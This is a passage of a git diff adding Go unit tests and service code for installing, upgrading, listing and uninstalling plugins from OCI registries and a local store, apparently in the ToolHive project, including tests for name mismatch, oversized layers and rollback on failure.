reg.EXPECT().Pull(gomock.Any(), ociStore, "ghcr.io/org/my-plugin:v1"). + Return(indexDigest, nil) + + store := storemocks.NewMockPluginStore(ctrl) + adapter := plugmocks.NewMockMaterializationAdapter(ctrl) + store.EXPECT().Get(gomock.Any(), "my-plugin", plugins.ScopeUser, "").Return(plugins.InstalledPlugin{}, storage.ErrNotFound) + adapter.EXPECT().Materialize(gomock.Any(), gomock.Any()).Return(&plugins.MaterializeResult{}, nil) + store.EXPECT().Create(gomock.Any(), gomock.Any()).DoAndReturn( + func(_ context.Context, p plugins.InstalledPlugin) error { + assert.Equal(t, "override-version", p.Metadata.Version) + return nil + }) + return reg, ociStore, store, adapter + }, + wantName: "my-plugin", + wantVersion: "override-version", + }, + { + name: "invalid OCI reference returns 400", + opts: plugins.InstallOptions{Name: "not://valid:ref:extra"}, + setup: func(t *testing.T, ctrl *gomock.Controller) (ociplugins.RegistryClient, *ociplugins.Store, *storemocks.MockPluginStore, *plugmocks.MockMaterializationAdapter) { + t.Helper() + return nil, nil, storemocks.NewMockPluginStore(ctrl), plugmocks.NewMockMaterializationAdapter(ctrl) + }, + wantCode: http.StatusBadRequest, + }, + { + name: "oversized layer returns 422", + opts: plugins.InstallOptions{Name: "ghcr.io/org/oversize-plugin:v1", Clients: []string{"claude-code"}}, + setup: func(t *testing.T, ctrl *gomock.Controller) (ociplugins.RegistryClient, *ociplugins.Store, *storemocks.MockPluginStore, *plugmocks.MockMaterializationAdapter) { + t.Helper() + ociStore, err := ociplugins.NewStore(tempDir(t)) + require.NoError(t, err) + manifestDigest := buildPluginManifestWithLayerSize(t, ociStore, "oversize-plugin", maxCompressedLayerSize+1) + + reg := ocimocks.NewMockRegistryClient(ctrl) + reg.EXPECT().Pull(gomock.Any(), ociStore, "ghcr.io/org/oversize-plugin:v1"). + Return(manifestDigest, nil) + return reg, ociStore, storemocks.NewMockPluginStore(ctrl), plugmocks.NewMockMaterializationAdapter(ctrl) + }, + wantCode: http.StatusUnprocessableEntity, + wantErr: "compressed layer size", + }, + } + + for _, tt := range tests { + t.Run(tt.name, func(t *testing.T) { + t.Parallel() + ctrl := gomock.NewController(t) + registry, ociStore, store, adapter := tt.setup(t, ctrl) + + var opts []Option + if registry != nil { + opts = append(opts, WithRegistryClient(registry)) + } + if ociStore != nil { + opts = append(opts, WithOCIStore(ociStore)) + } + if adapter != nil { + opts = append(opts, WithMaterializers(map[string]plugins.MaterializationAdapter{"claude-code": adapter})) + } + opts = append(opts, WithStore(store)) + + svc := newTestService(opts...) + result, err := svc.Install(t.Context(), tt.opts) + + if tt.wantCode != 0 { + require.Error(t, err) + assert.Equal(t, tt.wantCode, httperr.Code(err)) + return + } + if tt.wantErr != "" { + require.Error(t, err) + assert.Contains(t, err.Error(), tt.wantErr) + return + } + require.NoError(t, err) + if tt.wantName != "" { + assert.Equal(t, tt.wantName, result.Plugin.Metadata.Name) + } + if tt.wantVersion != "" { + assert.Equal(t, tt.wantVersion, result.Plugin.Metadata.Version) + } + if tt.wantDigest { + assert.Contains(t, result.Plugin.Digest, "sha256:") + } + if tt.wantRef != "" { + assert.Equal(t, tt.wantRef, result.Plugin.Reference) + } + }) + } +} + +func TestInstallFromLocalStore(t *testing.T) { + t.Parallel() + + t.Run("happy path: build then install", func(t *testing.T) { + t.Parallel() + ctrl := gomock.NewController(t) + ociStore, err := ociplugins.NewStore(tempDir(t)) + require.NoError(t, err) + + indexDigest := buildTestPlugin(t, ociStore, "my-plugin", "1.0.0") + require.NoError(t, ociStore.Tag(t.Context(), indexDigest, "my-plugin")) + + store := storemocks.NewMockPluginStore(ctrl) + adapter := plugmocks.NewMockMaterializationAdapter(ctrl) + store.EXPECT().Get(gomock.Any(), "my-plugin", plugins.ScopeUser, "").Return(plugins.InstalledPlugin{}, storage.ErrNotFound) + adapter.EXPECT().Materialize(gomock.Any(), gomock.Any()).Return(&plugins.MaterializeResult{}, nil) + store.EXPECT().Create(gomock.Any(), gomock.Any()).DoAndReturn( + func(_ context.Context, p plugins.InstalledPlugin) error { + assert.Equal(t, "my-plugin", p.Metadata.Name) + assert.Equal(t, "1.0.0", p.Metadata.Version) + assert.Contains(t, p.Digest, "sha256:") + return nil + }) + + svc := newTestService(WithStore(store), WithOCIStore(ociStore), + WithMaterializers(map[string]plugins.MaterializationAdapter{"claude-code": adapter})) + result, err := svc.Install(t.Context(), plugins.InstallOptions{ + Name: "my-plugin", + Clients: []string{"claude-code"}, + }) + require.NoError(t, err) + assert.Equal(t, "my-plugin", result.Plugin.Metadata.Name) + }) + + t.Run("name mismatch in local artifact", func(t *testing.T) { + t.Parallel() + ctrl := gomock.NewController(t) + ociStore, err := ociplugins.NewStore(tempDir(t)) + require.NoError(t, err) + + indexDigest := buildTestPlugin(t, ociStore, "real-plugin", "1.0.0") + require.NoError(t, ociStore.Tag(t.Context(), indexDigest, "evil-plugin")) + + store := storemocks.NewMockPluginStore(ctrl) + svc := newTestService(WithStore(store), WithOCIStore(ociStore), + WithMaterializers(map[string]plugins.MaterializationAdapter{"claude-code": plugmocks.NewMockMaterializationAdapter(ctrl)})) + _, err = svc.Install(t.Context(), plugins.InstallOptions{Name: "evil-plugin"}) + require.Error(t, err) + assert.Equal(t, http.StatusUnprocessableEntity, httperr.Code(err)) + assert.Contains(t, err.Error(), "does not match install name") + }) + + t.Run("tag not found returns not found error", func(t *testing.T) { + t.Parallel() + ctrl := gomock.NewController(t) + ociStore, err := ociplugins.NewStore(tempDir(t)) + require.NoError(t, err) + + store := storemocks.NewMockPluginStore(ctrl) + svc := newTestService(WithStore(store), WithOCIStore(ociStore), + WithMaterializers(map[string]plugins.MaterializationAdapter{"claude-code": plugmocks.NewMockMaterializationAdapter(ctrl)})) + _, err = svc.Install(t.Context(), plugins.InstallOptions{Name: "no-such-plugin"}) + require.Error(t, err) + assert.Equal(t, http.StatusNotFound, httperr.Code(err)) + assert.Contains(t, err.Error(), "not found in local store or registry") + }) +} + +// suppress unused import when builds trim helper usage. +var _ = os.Stat +var _ = filepath.Join diff --git a/pkg/plugins/pluginsvc/install_test.go b/pkg/plugins/pluginsvc/install_test.go new file mode 100644 index 0000000000..250ec5d018 --- /dev/null +++ b/pkg/plugins/pluginsvc/install_test.go @@ -0,0 +1,578 @@ +// SPDX-FileCopyrightText: Copyright 2025 Stacklok, Inc. +// SPDX-License-Identifier: Apache-2.0 + +package pluginsvc + +import ( + "context" + "fmt" + "net/http" + "os" + "path/filepath" + "testing" + + "github.com/stretchr/testify/assert" + "github.com/stretchr/testify/require" + "go.uber.org/mock/gomock" + + "github.com/stacklok/toolhive-core/httperr" + ociartifact "github.com/stacklok/toolhive-core/oci/artifact" + "github.com/stacklok/toolhive/pkg/groups" + groupmocks "github.com/stacklok/toolhive/pkg/groups/mocks" + "github.com/stacklok/toolhive/pkg/plugins" + plugmocks "github.com/stacklok/toolhive/pkg/plugins/mocks" + "github.com/stacklok/toolhive/pkg/storage" + storemocks "github.com/stacklok/toolhive/pkg/storage/mocks" +) + +// makePluginLayerData builds a tar.gz layer containing a minimal plugin tree +// (manifest + a command file). Used by install round-trip tests. +func makePluginLayerData(t *testing.T, name string) []byte { + t.Helper() + files := []ociartifact.FileEntry{ + {Path: ".claude-plugin/plugin.json", Content: []byte(fmt.Sprintf(`{"name":%q,"version":"1.0.0"}`, name)), Mode: 0644}, + {Path: "commands/hello.md", Content: []byte("# hello"), Mode: 0644}, + } + data, err := ociartifact.CompressTar(files, ociartifact.DefaultTarOptions(), ociartifact.DefaultGzipOptions()) + require.NoError(t, err) + return data +} + +func TestInstallPlainNameNotFound(t *testing.T) { + t.Parallel() + + tests := []struct { + name string + opts plugins.InstallOptions + wantCode int + wantErr string + }{ + { + name: "plain name without store or lookup returns not found", + opts: plugins.InstallOptions{Name: "my-plugin"}, + wantCode: http.StatusNotFound, + wantErr: "not found in local store or registry", + }, + { + name: "rejects project scope without root", + opts: plugins.InstallOptions{Name: "my-plugin", Scope: plugins.ScopeProject}, + wantCode: http.StatusBadRequest, + }, + { + name: "rejects invalid name", + opts: plugins.InstallOptions{Name: "A"}, + wantCode: http.StatusBadRequest, + }, + { + name: "rejects empty name", + opts: plugins.InstallOptions{Name: ""}, + wantCode: http.StatusBadRequest, + }, + } + + for _, tt := range tests { + t.Run(tt.name, func(t *testing.T) { + t.Parallel() + ctrl := gomock.NewController(t) + store := storemocks.NewMockPluginStore(ctrl) + svc := newTestService(WithStore(store)) + _, err := svc.Install(t.Context(), tt.opts) + require.Error(t, err) + assert.Equal(t, tt.wantCode, httperr.Code(err)) + if tt.wantErr != "" { + assert.Contains(t, err.Error(), tt.wantErr) + } + }) + } +} + +func TestInstallWithExtraction(t *testing.T) { + t.Parallel() + + layerData := makePluginLayerData(t, "my-plugin") + + t.Run("fresh install materializes and creates record", func(t *testing.T) { + t.Parallel() + ctrl := gomock.NewController(t) + store := storemocks.NewMockPluginStore(ctrl) + adapter := plugmocks.NewMockMaterializationAdapter(ctrl) + + store.EXPECT().Get(gomock.Any(), "my-plugin", plugins.ScopeUser, "").Return(plugins.InstalledPlugin{}, storage.ErrNotFound) + adapter.EXPECT().Materialize(gomock.Any(), gomock.Any()).DoAndReturn( + func(_ context.Context, req plugins.MaterializeRequest) (*plugins.MaterializeResult, error) { + assert.Equal(t, "my-plugin", req.Name) + assert.Equal(t, layerData, req.LayerData) + return &plugins.MaterializeResult{InstalledComponents: []plugins.ComponentType{plugins.ComponentCommands}}, nil + }) + store.EXPECT().Create(gomock.Any(), gomock.Any()).DoAndReturn( + func(_ context.Context, p plugins.InstalledPlugin) error { + assert.Equal(t, plugins.InstallStatusInstalled, p.Status) + assert.Equal(t, "sha256:abc", p.Digest) + assert.Equal(t, []string{"claude-code"}, p.Clients) + return nil + }) + + svc := newTestService(WithStore(store), WithMaterializers(map[string]plugins.MaterializationAdapter{"claude-code": adapter})) + result, err := svc.Install(t.Context(), plugins.InstallOptions{ + Name: "my-plugin", + LayerData: layerData, + Digest: "sha256:abc", + }) + require.NoError(t, err) + assert.Equal(t, plugins.InstallStatusInstalled, result.Plugin.Status) + }) + + t.Run("same digest is no-op", func(t *testing.T) { + t.Parallel() + ctrl := gomock.NewController(t) + store := storemocks.NewMockPluginStore(ctrl) + adapter := plugmocks.NewMockMaterializationAdapter(ctrl) + + existing := plugins.InstalledPlugin{ + Metadata: plugins.PluginMetadata{Name: "my-plugin"}, + Digest: "sha256:abc", + Status: plugins.InstallStatusInstalled, + Clients: []string{"claude-code"}, + } + store.EXPECT().Get(gomock.Any(), "my-plugin", plugins.ScopeUser, "").Return(existing, nil) + // No Materialize, no Create, no Update. + + svc := newTestService(WithStore(store), WithMaterializers(map[string]plugins.MaterializationAdapter{"claude-code": adapter})) + result, err := svc.Install(t.Context(), plugins.InstallOptions{ + Name: "my-plugin", + LayerData: layerData, + Digest: "sha256:abc", + }) + require.NoError(t, err) + assert.Equal(t, "my-plugin", result.Plugin.Metadata.Name) + }) + + t.Run("different digest triggers upgrade", func(t *testing.T) { + t.Parallel() + ctrl := gomock.NewController(t) + store := storemocks.NewMockPluginStore(ctrl) + adapter := plugmocks.NewMockMaterializationAdapter(ctrl) + + existing := plugins.InstalledPlugin{ + Metadata: plugins.PluginMetadata{Name: "my-plugin"}, + Digest: "sha256:old", + Status: plugins.InstallStatusInstalled, + Clients: []string{"claude-code"}, + } + store.EXPECT().Get(gomock.Any(), "my-plugin", plugins.ScopeUser, "").Return(existing, nil) + adapter.EXPECT().Materialize(gomock.Any(), gomock.Any()).Return(&plugins.MaterializeResult{}, nil) + store.EXPECT().Update(gomock.Any(), gomock.Any()).DoAndReturn( + func(_ context.Context, p plugins.InstalledPlugin) error { + assert.Equal(t, "sha256:new", p.Digest) + return nil + }) + + svc := newTestService(WithStore(store), WithMaterializers(map[string]plugins.MaterializationAdapter{"claude-code": adapter})) + result, err := svc.Install(t.Context(), plugins.InstallOptions{ + Name: "my-plugin", + LayerData: layerData, + Digest: "sha256:new", + }) + require.NoError(t, err) + assert.Equal(t, "sha256:new", result.Plugin.Digest) + }) + + t.Run("explicit client used over default", func(t *testing.T) { + t.Parallel() + ctrl := gomock.NewController(t) + store := storemocks.NewMockPluginStore(ctrl) + adapter := plugmocks.NewMockMaterializationAdapter(ctrl) + + store.EXPECT().Get(gomock.Any(), "my-plugin", plugins.ScopeUser, "").Return(plugins.InstalledPlugin{}, storage.ErrNotFound) + adapter.EXPECT().Materialize(gomock.Any(), gomock.Any()).Return(&plugins.MaterializeResult{}, nil) + store.EXPECT().Create(gomock.Any(), gomock.Any()).DoAndReturn( + func(_ context.Context, p plugins.InstalledPlugin) error { + assert.Equal(t, []string{"custom-client"}, p.Clients) + return nil + }) + + svc := newTestService(WithStore(store), WithMaterializers(map[string]plugins.MaterializationAdapter{"custom-client": adapter})) + _, err := svc.Install(t.Context(), plugins.InstallOptions{ + Name: "my-plugin", + LayerData: layerData, + Clients: []string{"custom-client"}, + Digest: "sha256:abc", + }) + require.NoError(t, err) + }) + + t.Run("multiple clients fresh install", func(t *testing.T) { + t.Parallel() + ctrl := gomock.NewController(t) + store := storemocks.NewMockPluginStore(ctrl) + adapterA := plugmocks.NewMockMaterializationAdapter(ctrl) + adapterB := plugmocks.NewMockMaterializationAdapter(ctrl) + + store.EXPECT().Get(gomock.Any(), "my-plugin", plugins.ScopeUser, "").Return(plugins.InstalledPlugin{}, storage.ErrNotFound) + adapterA.EXPECT().Materialize(gomock.Any(), gomock.Any()).Return(&plugins.MaterializeResult{}, nil) + adapterB.EXPECT().Materialize(gomock.Any(), gomock.Any()).Return(&plugins.MaterializeResult{}, nil) + store.EXPECT().Create(gomock.Any(), gomock.Any()).DoAndReturn( + func(_ context.Context, p plugins.InstalledPlugin) error { + assert.ElementsMatch(t, []string{"claude-code", "codex"}, p.Clients) + return nil + }) + + svc := newTestService(WithStore(store), WithMaterializers(map[string]plugins.MaterializationAdapter{ + "claude-code": adapterA, + "codex": adapterB, + })) + _, err := svc.Install(t.Context(), plugins.InstallOptions{ + Name: "my-plugin", + LayerData: layerData, + Digest: "sha256:abc", + Clients: []string{"claude-code", "codex"}, + }) + require.NoError(t, err) + }) + + t.Run("fresh install rolls back on store.Create failure", func(t *testing.T) { + t.Parallel() + ctrl := gomock.NewController(t) + store := storemocks.NewMockPluginStore(ctrl) + adapter := plugmocks.NewMockMaterializationAdapter(ctrl) + + store.EXPECT().Get(gomock.Any(), "my-plugin", plugins.ScopeUser, "").Return(plugins.InstalledPlugin{}, storage.ErrNotFound) + adapter.EXPECT().Materialize(gomock.Any(), gomock.Any()).Return(&plugins.MaterializeResult{}, nil) + store.EXPECT().Create(gomock.Any(), gomock.Any()).Return(fmt.Errorf("db write error")) + adapter.EXPECT().Dematerialize(gomock.Any(), plugins.DematerializeRequest{Name: "my-plugin", Scope: plugins.ScopeUser}).Return(nil) + + svc := newTestService(WithStore(store), WithMaterializers(map[string]plugins.MaterializationAdapter{"claude-code": adapter})) + _, err := svc.Install(t.Context(), plugins.InstallOptions{ + Name: "my-plugin", + LayerData: layerData, + Digest: "sha256:abc", + }) + require.Error(t, err) + assert.Contains(t, err.Error(), "db write error") + }) + + t.Run("multi-client fresh install rolls back first client on second materialize failure", func(t *testing.T) { + t.Parallel() + ctrl := gomock.NewController(t) + store := storemocks.NewMockPluginStore(ctrl) + adapterA := plugmocks.NewMockMaterializationAdapter(ctrl) + adapterB := plugmocks.NewMockMaterializationAdapter(ctrl) + + store.EXPECT().Get(gomock.Any(), "my-plugin", plugins.ScopeUser, "").Return(plugins.InstalledPlugin{}, storage.ErrNotFound) + adapterA.EXPECT().Materialize(gomock.Any(), gomock.Any()).Return(&plugins.MaterializeResult{}, nil) + adapterB.EXPECT().Materialize(gomock.Any(), gomock.Any()).Return(nil, fmt.Errorf("disk full")) + adapterA.EXPECT().Dematerialize(gomock.Any(), plugins.DematerializeRequest{Name: "my-plugin", Scope: plugins.ScopeUser}).Return(nil) + + svc := newTestService(WithStore(store), WithMaterializers(map[string]plugins.MaterializationAdapter{ + "claude-code": adapterA, + "codex": adapterB, + })) + _, err := svc.Install(t.Context(), plugins.InstallOptions{ + Name: "my-plugin", + LayerData: layerData, + Digest: "sha256:abc", + Clients: []string{"claude-code", "codex"}, + }) + require.Error(t, err) + assert.Contains(t, err.Error(), "disk full") + }) + + t.Run("invalid client returns bad request", func(t *testing.T) { + t.Parallel() + ctrl := gomock.NewController(t) + store := storemocks.NewMockPluginStore(ctrl) + + svc := newTestService(WithStore(store), WithMaterializers(map[string]plugins.MaterializationAdapter{"claude-code": plugmocks.NewMockMaterializationAdapter(ctrl)})) + _, err := svc.Install(t.Context(), plugins.InstallOptions{ + Name: "my-plugin", + LayerData: layerData, + Digest: "sha256:abc", + Clients: []string{"not-a-real-client"}, + }) + require.Error(t, err) + assert.Equal(t, http.StatusBadRequest, httperr.Code(err)) + }) + + t.Run("empty string in clients list returns bad request", func(t *testing.T) { + t.Parallel() + ctrl := gomock.NewController(t) + store := storemocks.NewMockPluginStore(ctrl) + + svc := newTestService(WithStore(store), WithMaterializers(map[string]plugins.MaterializationAdapter{"claude-code": plugmocks.NewMockMaterializationAdapter(ctrl)})) + _, err := svc.Install(t.Context(), plugins.InstallOptions{ + Name: "my-plugin", + LayerData: layerData, + Digest: "sha256:abc", + Clients: []string{"claude-code", ""}, + }) + require.Error(t, err) + assert.Equal(t, http.StatusBadRequest, httperr.Code(err)) + }) + + t.Run("all sentinel expands to every materializer", func(t *testing.T) { + t.Parallel() + ctrl := gomock.NewController(t) + store := storemocks.NewMockPluginStore(ctrl) + adapterA := plugmocks.NewMockMaterializationAdapter(ctrl) + adapterB := plugmocks.NewMockMaterializationAdapter(ctrl) + + store.EXPECT().Get(gomock.Any(), "my-plugin", plugins.ScopeUser, "").Return(plugins.InstalledPlugin{}, storage.ErrNotFound) + adapterA.EXPECT().Materialize(gomock.Any(), gomock.Any()).Return(&plugins.MaterializeResult{}, nil) + adapterB.EXPECT().Materialize(gomock.Any(), gomock.Any()).Return(&plugins.MaterializeResult{}, nil) + store.EXPECT().Create(gomock.Any(), gomock.Any()).DoAndReturn( + func(_ context.Context, p plugins.InstalledPlugin) error { + assert.ElementsMatch(t, []string{"claude-code", "codex"}, p.Clients) + return nil + }) + + svc := newTestService(WithStore(store), WithMaterializers(map[string]plugins.MaterializationAdapter{ + "claude-code": adapterA, + "codex": adapterB, + })) + _, err := svc.Install(t.Context(), plugins.InstallOptions{ + Name: "my-plugin", + LayerData: layerData, + Digest: "sha256:abc", + Clients: []string{"all"}, + }) + require.NoError(t, err) + }) + + t.Run("all combined with explicit client returns bad request", func(t *testing.T) { + t.Parallel() + ctrl := gomock.NewController(t) + store := storemocks.NewMockPluginStore(ctrl) + + svc := newTestService(WithStore(store), WithMaterializers(map[string]plugins.MaterializationAdapter{ + "claude-code": plugmocks.NewMockMaterializationAdapter(ctrl), + })) + _, err := svc.Install(t.Context(), plugins.InstallOptions{ + Name: "my-plugin", + LayerData: layerData, + Digest: "sha256:abc", + Clients: []string{"all", "claude-code"}, + }) + require.Error(t, err) + assert.Equal(t, http.StatusBadRequest, httperr.Code(err)) + assert.Contains(t, err.Error(), "cannot be combined") + }) + + t.Run("same digest adds second client without re-materializing first", func(t *testing.T) { + t.Parallel() + ctrl := gomock.NewController(t) + store := storemocks.NewMockPluginStore(ctrl) + adapterA := plugmocks.NewMockMaterializationAdapter(ctrl) + adapterB := plugmocks.NewMockMaterializationAdapter(ctrl) + + existing := plugins.InstalledPlugin{ + Metadata: plugins.PluginMetadata{Name: "my-plugin"}, + Digest: "sha256:abc", + Clients: []string{"claude-code"}, + } + store.EXPECT().Get(gomock.Any(), "my-plugin", plugins.ScopeUser, "").Return(existing, nil) + // Only codex (the missing client) is materialized. + adapterB.EXPECT().Materialize(gomock.Any(), gomock.Any()).Return(&plugins.MaterializeResult{}, nil) + store.EXPECT().Update(gomock.Any(), gomock.Any()).DoAndReturn( + func(_ context.Context, p plugins.InstalledPlugin) error { + assert.ElementsMatch(t, []string{"claude-code", "codex"}, p.Clients) + return nil + }) + + svc := newTestService(WithStore(store), WithMaterializers(map[string]plugins.MaterializationAdapter{ + "claude-code": adapterA, + "codex": adapterB, + })) + _, err := svc.Install(t.Context(), plugins.InstallOptions{ + Name: "my-plugin", + LayerData: layerData, + Digest: "sha256:abc", + Clients: []string{"claude-code", "codex"}, + }) + require.NoError(t, err) + }) + + t.Run("upgrade materializes for all existing clients", func(t *testing.T) { + t.Parallel() + ctrl := gomock.NewController(t) + store := storemocks.NewMockPluginStore(ctrl) + adapterA := plugmocks.NewMockMaterializationAdapter(ctrl) + adapterB := plugmocks.NewMockMaterializationAdapter(ctrl) + + existing := plugins.InstalledPlugin{ + Metadata: plugins.PluginMetadata{Name: "my-plugin"}, + Digest: "sha256:old", + Clients: []string{"claude-code"}, + } + store.EXPECT().Get(gomock.Any(), "my-plugin", plugins.ScopeUser, "").Return(existing, nil) + // Upgrade re-materializes the union of existing + requested clients. + adapterA.EXPECT().Materialize(gomock.Any(), gomock.Any()).Return(&plugins.MaterializeResult{}, nil) + adapterB.EXPECT().Materialize(gomock.Any(), gomock.Any()).Return(&plugins.MaterializeResult{}, nil) + store.EXPECT().Update(gomock.Any(), gomock.Any()).DoAndReturn( + func(_ context.Context, p plugins.InstalledPlugin) error { + assert.ElementsMatch(t, []string{"claude-code", "codex"}, p.Clients) + assert.Equal(t, "sha256:new", p.Digest) + return nil + }) + + svc := newTestService(WithStore(store), WithMaterializers(map[string]plugins.MaterializationAdapter{ + "claude-code": adapterA, + "codex": adapterB, + })) + result, err := svc.Install(t.Context(), plugins.InstallOptions{ + Name: "my-plugin", + LayerData: layerData, + Digest: "sha256:new", + Clients: []string{"codex"}, + }) + require.NoError(t, err) + assert.ElementsMatch(t, []string{"claude-code", "codex"}, result.Plugin.Clients) + }) +} + +func TestInstallRoundTrip(t *testing.T) { + t.Parallel() + + layerData := makePluginLayerData(t, "my-plugin") + + t.Run("install then list then uninstall", func(t *testing.T) { + t.Parallel() + ctrl := gomock.NewController(t) + store := storemocks.NewMockPluginStore(ctrl) + adapter := plugmocks.NewMockMaterializationAdapter(ctrl) + + // Install. + store.EXPECT().Get(gomock.Any(), "my-plugin", plugins.ScopeUser, "").Return(plugins.InstalledPlugin{}, storage.ErrNotFound) + adapter.EXPECT().Materialize(gomock.Any(), gomock.Any()).Return(&plugins.MaterializeResult{}, nil) + store.EXPECT().Create(gomock.Any(), gomock.Any()).Return(nil) + + svc := newTestService(WithStore(store), WithMaterializers(map[string]plugins.MaterializationAdapter{"claude-code": adapter})) + _, err := svc.Install(t.Context(), plugins.InstallOptions{ + Name: "my-plugin", + LayerData: layerData, + Digest: "sha256:abc", + }) + require.NoError(t, err) + + // List. + store.EXPECT().List(gomock.Any(), gomock.Any()).Return([]plugins.InstalledPlugin{ + {Metadata: plugins.PluginMetadata{Name: "my-plugin"}, Clients: []string{"claude-code"}}, + }, nil) + listed, err := svc.List(t.Context(), plugins.ListOptions{}) + require.NoError(t, err) + require.Len(t, listed, 1) + assert.Equal(t, "my-plugin", listed[0].Metadata.Name) + + // Uninstall. + store.EXPECT().Get(gomock.Any(), "my-plugin", plugins.ScopeUser, "").Return(plugins.InstalledPlugin{ + Metadata: plugins.PluginMetadata{Name: "my-plugin"}, + Clients: []string{"claude-code"}, + }, nil) + adapter.EXPECT().Dematerialize(gomock.Any(), plugins.DematerializeRequest{Name: "my-plugin", Scope: plugins.ScopeUser}).Return(nil) + store.EXPECT().Delete(gomock.Any(), "my-plugin", plugins.ScopeUser, "").Return(nil) + + err = svc.Uninstall(t.Context(), plugins.UninstallOptions{Name: "my-plugin"}) + require.NoError(t, err) + }) + + t.Run("uninstall is idempotent for missing record", func(t *testing.T) { + t.Parallel() + ctrl := gomock.NewController(t) + store := storemocks.NewMockPluginStore(ctrl) + store.EXPECT().Get(gomock.Any(), "nope", plugins.ScopeUser, "").Return(plugins.InstalledPlugin{}, storage.ErrNotFound) + + svc := newTestService(WithStore(store), WithMaterializers(map[string]plugins.MaterializationAdapter{"claude-code": plugmocks.NewMockMaterializationAdapter(ctrl)})) + err := svc.Uninstall(t.Context(), plugins.UninstallOptions{Name: "nope"}) + require.NoError(t, err) + }) +} + +func TestInstallAddsPluginToGroup(t *testing.T) { + t.Parallel() + + layerData := makePluginLayerData(t, "my-plugin") + + tests := []struct { + name string + opts plugins.InstallOptions + setupStoreMock func(*storemocks.MockPluginStore) + setupGroupMock func(*groupmocks.MockManager) + wantErr string + }{ + { + name: "install with group registers plugin", + opts: plugins.InstallOptions{Name: "my-plugin", Group: "mygroup", LayerData: layerData, Digest: "sha256:abc"}, + setupStoreMock: func(s *storemocks.MockPluginStore) { + s.EXPECT().Get(gomock.Any(), "my-plugin", plugins.ScopeUser, "").Return(plugins.InstalledPlugin{}, storage.ErrNotFound) + s.EXPECT().Create(gomock.Any(), gomock.Any()).Return(nil) + }, + setupGroupMock: func(gm *groupmocks.MockManager) { + gm.EXPECT().Get(gomock.Any(), "mygroup"). + Return(&groups.Group{Name: "mygroup", Plugins: []string{}}, nil) + gm.EXPECT().Update(gomock.Any(), gomock.Any()).Return(nil) + }, + }, + { + name: "install without group defaults to default group", + opts: plugins.InstallOptions{Name: "my-plugin", LayerData: layerData, Digest: "sha256:abc"}, + setupStoreMock: func(s *storemocks.MockPluginStore) { + s.EXPECT().Get(gomock.Any(), "my-plugin", plugins.ScopeUser, "").Return(plugins.InstalledPlugin{}, storage.ErrNotFound) + s.EXPECT().Create(gomock.Any(), gomock.Any()).Return(nil) + }, + setupGroupMock: func(gm *groupmocks.MockManager) { + gm.EXPECT().Get(gomock.Any(), groups.DefaultGroup). + Return(&groups.Group{Name: groups.DefaultGroup, Plugins: []string{}}, nil) + gm.EXPECT().Update(gomock.Any(), gomock.Any()).Return(nil) + }, + }, + { + name: "group registration error rolls back DB record", + opts: plugins.InstallOptions{Name: "my-plugin", Group: "badgroup", LayerData: layerData, Digest: "sha256:abc"}, + setupStoreMock: func(s *storemocks.MockPluginStore) { + s.EXPECT().Get(gomock.Any(), "my-plugin", plugins.ScopeUser, "").Return(plugins.InstalledPlugin{}, storage.ErrNotFound) + s.EXPECT().Create(gomock.Any(), gomock.Any()).Return(nil) + s.EXPECT().Delete(gomock.Any(), "my-plugin", plugins.ScopeUser, "").Return(nil) + }, + setupGroupMock: func(gm *groupmocks.MockManager) { + gm.EXPECT().Get(gomock.Any(), "badgroup").Return(nil, fmt.Errorf("group not found")) + }, + wantErr: "registering plugin in group", + }, + } + + for _, tt := range tests { + t.Run(tt.name, func(t *testing.T) { + t.Parallel() + + ctrl := gomock.NewController(t) + store := storemocks.NewMockPluginStore(ctrl) + gm := groupmocks.NewMockManager(ctrl) + adapter := plugmocks.NewMockMaterializationAdapter(ctrl) + adapter.EXPECT().Materialize(gomock.Any(), gomock.Any()).Return(&plugins.MaterializeResult{}, nil).AnyTimes() + + tt.setupStoreMock(store) + tt.setupGroupMock(gm) + + svc := newTestService(WithStore(store), WithGroupManager(gm), + WithMaterializers(map[string]plugins.MaterializationAdapter{"claude-code": adapter})) + + _, err := svc.Install(t.Context(), tt.opts) + if tt.wantErr != "" { + require.Error(t, err) + assert.Contains(t, err.Error(), tt.wantErr) + } else { + require.NoError(t, err) + } + }) + } +} + +// tempDir returns an eval-symlink-resolved temp directory. Mirror of +// skillsvc.tempDir. +func tempDir(t *testing.T) string { + t.Helper() + realTmpDir, _ := filepath.EvalSymlinks(t.TempDir()) + return realTmpDir +} + +// Suppress unused-import in case a future trim removes the os/filepath use. +var _ = os.Stat diff --git a/pkg/plugins/pluginsvc/list.go b/pkg/plugins/pluginsvc/list.go new file mode 100644 index 0000000000..ab4e281e1d --- /dev/null +++ b/pkg/plugins/pluginsvc/list.go @@ -0,0 +1,63 @@ +// SPDX-FileCopyrightText: Copyright 2025 Stacklok, Inc. +// SPDX-License-Identifier: Apache-2.0 + +package pluginsvc + +import ( + "context" + "fmt" + "net/http" + + "github.com/stacklok/toolhive-core/httperr" + "github.com/stacklok/toolhive/pkg/plugins" + "github.com/stacklok/toolhive/pkg/storage" +) + +// List returns all installed plugins matching the given options. Mirror of +// skillsvc.List, substituting group.Plugins for group.Skills in the +// group-membership filter. +func (s *service) List(ctx context.Context, opts plugins.ListOptions) ([]plugins.InstalledPlugin, error) { + scope, projectRoot, err := normalizeProjectRoot(opts.Scope, opts.ProjectRoot) + if err != nil { + return nil, err + } + filter := storage.ListFilter{ + Scope: scope, + ClientApp: opts.ClientApp, + ProjectRoot: projectRoot, + } + all, err := s.store.List(ctx, filter) + if err != nil { + return nil, err + } + + if opts.Group == "" { + return all, nil + } + + if s.groupManager == nil { + return nil, httperr.WithCode( + fmt.Errorf("group filtering is not available: group manager is not configured"), + http.StatusInternalServerError, + ) + } + + group, err := s.groupManager.Get(ctx, opts.Group) + if err != nil { + return nil, fmt.Errorf("getting group %q: %w", opts.Group, err) + } + + // Build a lookup set of plugin names in the group. + groupPlugins := make(map[string]struct{}, len(group.Plugins)) + for _, name := range group.Plugins { + groupPlugins[name] = struct{}{} + } + + filtered := make([]plugins.InstalledPlugin, 0, len(all)) + for _, p := range all { + if _, ok := groupPlugins[p.Metadata.Name]; ok { + filtered = append(filtered, p) + } + } + return filtered, nil +} diff --git a/pkg/plugins/pluginsvc/scope.go b/pkg/plugins/pluginsvc/scope.go new file mode 100644 index 0000000000..24f692d309 --- /dev/null +++ b/pkg/plugins/pluginsvc/scope.go @@ -0,0 +1,30 @@ +// SPDX-FileCopyrightText: Copyright 2025 Stacklok, Inc. +// SPDX-License-Identifier: Apache-2.0 + +package pluginsvc + +import ( + "net/http" + + "github.com/stacklok/toolhive-core/httperr" + 